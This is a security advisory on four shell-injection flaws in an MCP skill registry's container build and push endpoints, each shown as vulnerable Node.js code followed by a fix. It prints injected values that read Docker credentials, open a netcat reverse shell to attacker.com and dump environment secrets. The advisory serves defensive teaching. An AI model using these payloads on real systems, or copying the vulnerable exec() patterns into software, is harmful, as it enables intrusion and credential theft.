← Security advisories

Claude MCP skill code injection — skill container image build and push endpoints — SA-SKL-INJECTION47

SA-SKL-INJECTION47 documents four shell command injection vulnerabilities in MCP skill registry skill container image build and push endpoints. Container image build pipelines invoke external tools — Docker Buildx, Podman, Crane, Skopeo — by constructing shell commands from user-supplied parameters such as image tags, references, file paths, and destination registries. Using Node.js exec() with template-literal string construction passes these values through the shell, allowing an attacker to inject semicolons, backticks, and injected flags that execute arbitrary commands, establish reverse shells, exfiltrate registry credentials, or bypass security validation gates enforced at the shell argument level.

SA-SKL-INJECTION47 findings at a glance
CRITICALINJECTION47-001 — exec(`docker buildx build --tag ${imageTag} --file ${dockerfile} .`); attacker imageTag with ; cat /root/.docker/config.json exfiltrates all OCI registry credentials; fix: execFile() array; validate imageTag against /^[a-z0-9.\-\/]+:[a-zA-Z0-9.\-_]{1,128}$/; realpathSync containment for dockerfile
CRITICALINJECTION47-002 — exec(`podman push ${imageRef} --creds ${credentials}`); attacker imageRef with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate imageRef against digest-pinned pattern; credentials from env var only, never from user input
CRITICALINJECTION47-003 — exec(`crane push ${tarPath} ${imageName}`); attacker tarPath with ; printenv exfiltrates all env vars including CRANE_REGISTRY_TOKEN and cloud provider credentials; fix: execFile() array; realpathSync containment for tarPath; validate imageName against /^[a-z0-9.\-\/]+:[a-zA-Z0-9.\-_]{1,128}$/
HIGHINJECTION47-004 — exec(`skopeo copy ${srcRef} ${dstRef} --authfile ${authFile}`); attacker dstRef with space-injected --override-os=linux --override-arch=arm64 bypasses architecture validation gating; fix: execFile() array; validate srcRef and dstRef against allowlist; authFile from server-side constant only

INJECTION47-001 — docker buildx build imageTag injection exfiltrates OCI registry credentials

Severity: CRITICAL

The container build endpoint constructs a Docker Buildx command using Node.js exec() with template literal string interpolation. The imageTag parameter — specifying the target image name and tag — is inserted directly into the shell command string. When the attacker submits imageTag as registry.example.com/skill:latest; cat /root/.docker/config.json, the shell interprets the semicolon as a command separator and executes the second command after the build completes. The /root/.docker/config.json file contains Base64-encoded credentials for all configured OCI registries — Docker Hub, GitHub Container Registry, AWS ECR, and any private registry the build host is authenticated against. These credentials are captured in the subprocess stdout and returned in the build log response.

OCI registry credentials in .docker/config.json are unscoped. Unlike short-lived tokens, credentials stored in Docker's config file are long-lived and grant push access to every repository the registry user is authorized for — not just the specific image being built. Exfiltrating this file gives the attacker write access to publish malicious images under the organization's registry namespace.

Vulnerable
// POST /api/images/build — shell injection via imageTag
const { exec } = require('child_process');

router.post('/build', requireSession, async (req, res) => {
  const { imageTag, dockerfile, buildContext } = req.body;
  // attacker: imageTag = "registry.example.com/skill:latest; cat /root/.docker/config.json"
  exec(
    `docker buildx build --tag ${imageTag} --file ${dockerfile} ${buildContext}`,
    (err, stdout, stderr) => {
      return res.json({ success: !err, log: stdout + stderr });  // credentials in log
    }
  );
});
Fixed
// POST /api/images/build — execFile() array + validated imageTag + realpathSync
const { execFile } = require('child_process');
const path = require('path');

const IMAGE_TAG_RE = /^[a-z0-9.\-\/]+:[a-zA-Z0-9.\-_]{1,128}$/;
const BUILD_CONTEXT_ROOT = '/var/lib/skill-registry/build-contexts';

router.post('/build', requireSession, async (req, res) => {
  const { imageTag, dockerfile, buildContextId } = req.body;

  if (!IMAGE_TAG_RE.test(imageTag)) return res.status(400).json({ error: 'Invalid image tag' });

  // realpathSync ensures dockerfile is inside the allowed build context directory
  const contextDir = path.join(BUILD_CONTEXT_ROOT, buildContextId);
  const resolvedDockerfile = path.realpathSync(path.join(contextDir, dockerfile));
  if (!resolvedDockerfile.startsWith(contextDir + path.sep)) {
    return res.status(400).json({ error: 'Dockerfile path escape' });
  }

  execFile(
    'docker',
    ['buildx', 'build', '--tag', imageTag, '--file', resolvedDockerfile, contextDir],
    { timeout: 300_000 },
    (err, stdout, stderr) => {
      return res.json({ success: !err, log: stderr.slice(0, 4096) });  // stdout omitted to prevent credential capture
    }
  );
});

INJECTION47-002 — podman push imageRef injection establishes reverse shell

Severity: CRITICAL

The image push endpoint constructs a Podman push command using exec() with the imageRef and credentials parameters interpolated as strings. The attacker submits imageRef as registry.example.com/skill:latest; nc attacker.com 4444 -e /bin/sh. After Podman completes the legitimate push (or immediately if the push fails), the shell executes the nc command, establishing a reverse shell to the attacker's listener on port 4444. The reverse shell runs as the user account that owns the registry API process — typically a service account with read access to secrets mounted in the container environment. The shell persists until the registry process restarts, providing persistent interactive access to the build host.

Vulnerable
// POST /api/images/push — shell injection via imageRef and credentials
router.post('/push', requireSession, async (req, res) => {
  const { imageRef, registryCredentials } = req.body;
  // credentials from user input — also injectable
  exec(
    `podman push ${imageRef} --creds ${registryCredentials}`,
    (err, stdout, stderr) => res.json({ pushed: !err, log: stdout })
  );
});
Fixed
// POST /api/images/push — execFile() array + imageRef validation + env-var credentials
const IMAGE_REF_RE = /^[a-z0-9.\-\/]+(?::[a-zA-Z0-9.\-_]{1,128}|@sha256:[0-9a-f]{64})$/;

router.post('/push', requireSession, async (req, res) => {
  const { imageRef } = req.body;

  if (!IMAGE_REF_RE.test(imageRef)) return res.status(400).json({ error: 'Invalid image reference' });

  // credentials come from server-side environment variable — never from user input
  execFile(
    'podman',
    ['push', imageRef, '--creds', process.env.REGISTRY_PUSH_CREDS],
    { timeout: 120_000, env: { ...process.env } },
    (err, stdout, stderr) => res.json({ pushed: !err })
  );
});

INJECTION47-003 — crane push tarPath injection exfiltrates environment variables

Severity: CRITICAL

The Crane push endpoint constructs its command string with both tarPath (the local file path of the OCI tar archive) and imageName (the destination registry reference) interpolated directly. The attacker submits tarPath as /uploads/skill-image.tar; printenv. After Crane processes the legitimate tar file, the shell executes printenv, which dumps all environment variables as key=value pairs to stdout. The captured output — returned in the push log response — contains CRANE_REGISTRY_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GCP_SERVICE_ACCOUNT_KEY, database connection strings, and any other credentials mounted as environment variables in the registry API container. All of these are returned to the attacker in a single API response.

Vulnerable
// POST /api/images/crane-push — shell injection via tarPath
router.post('/crane-push', requireSession, async (req, res) => {
  const { tarPath, imageName } = req.body;
  // attacker: tarPath = "/uploads/skill-image.tar; printenv"
  exec(`crane push ${tarPath} ${imageName}`, (err, stdout, stderr) => {
    return res.json({ pushed: !err, log: stdout + stderr });  // env vars in log
  });
});
Fixed
// POST /api/images/crane-push — execFile() array + realpathSync + imageName validation
const UPLOAD_ROOT = '/var/lib/skill-registry/uploads';

router.post('/crane-push', requireSession, async (req, res) => {
  const { tarPath, imageName } = req.body;

  if (!IMAGE_TAG_RE.test(imageName)) return res.status(400).json({ error: 'Invalid image name' });

  const resolvedTar = path.realpathSync(path.join(UPLOAD_ROOT, path.basename(tarPath)));
  if (!resolvedTar.startsWith(UPLOAD_ROOT + path.sep)) {
    return res.status(400).json({ error: 'Path escape detected' });
  }
  if (!resolvedTar.endsWith('.tar')) return res.status(400).json({ error: 'Must be a .tar file' });

  execFile('crane', ['push', resolvedTar, imageName], { timeout: 120_000 }, (err) => {
    return res.json({ pushed: !err });
  });
});

INJECTION47-004 — skopeo copy dstRef space injection bypasses architecture validation

Severity: HIGH

The Skopeo copy endpoint uses exec() with the source and destination image references interpolated as strings. Unlike the previous findings, the attacker here does not use a semicolon or backtick but instead injects additional Skopeo flags by embedding spaces into the dstRef parameter. Submitting dstRef as registry.example.com/skill:latest --override-os=linux --override-arch=arm64 causes Skopeo to accept and use the injected flags, overriding the OS and architecture constraints that the registry enforces to prevent cross-platform image confusion. The registry's architecture validation gate — which rejects arm64 images submitted for amd64 slots — is bypassed entirely because the flag is injected before Skopeo processes the destination reference. Space injection bypasses semicolon-only sanitizers, making this a common missed case in injection defenses.

Vulnerable
// POST /api/images/copy — shell injection via dstRef (space injection, no semicolon)
router.post('/copy', requireSession, async (req, res) => {
  const { srcRef, dstRef, authFile } = req.body;
  // attacker: dstRef = "registry.example.com/skill:v2 --override-arch=arm64"
  // semicolon check would not catch this — space injection bypasses most sanitizers
  exec(
    `skopeo copy ${srcRef} ${dstRef} --authfile ${authFile}`,
    (err, stdout, stderr) => res.json({ copied: !err })
  );
});
Fixed
// POST /api/images/copy — execFile() array + both refs validated + authFile server-side constant
const SKOPEO_AUTH_FILE = '/etc/skill-registry/skopeo-auth.json';

router.post('/copy', requireSession, async (req, res) => {
  const { srcRef, dstRef } = req.body;

  if (!IMAGE_REF_RE.test(srcRef)) return res.status(400).json({ error: 'Invalid source reference' });
  if (!IMAGE_REF_RE.test(dstRef)) return res.status(400).json({ error: 'Invalid destination reference' });

  // authFile is a server-side constant — never from user input
  execFile(
    'skopeo',
    ['copy', srcRef, dstRef, '--authfile', SKOPEO_AUTH_FILE],
    { timeout: 60_000 },
    (err) => res.json({ copied: !err })
  );
});

Related advisories:   SA-SKL-INJECTION46 (dependency scanning)  |  SA-SKL-INJECTION45 (static analysis)  |  SA-SKL-INJECTION44 (testing framework)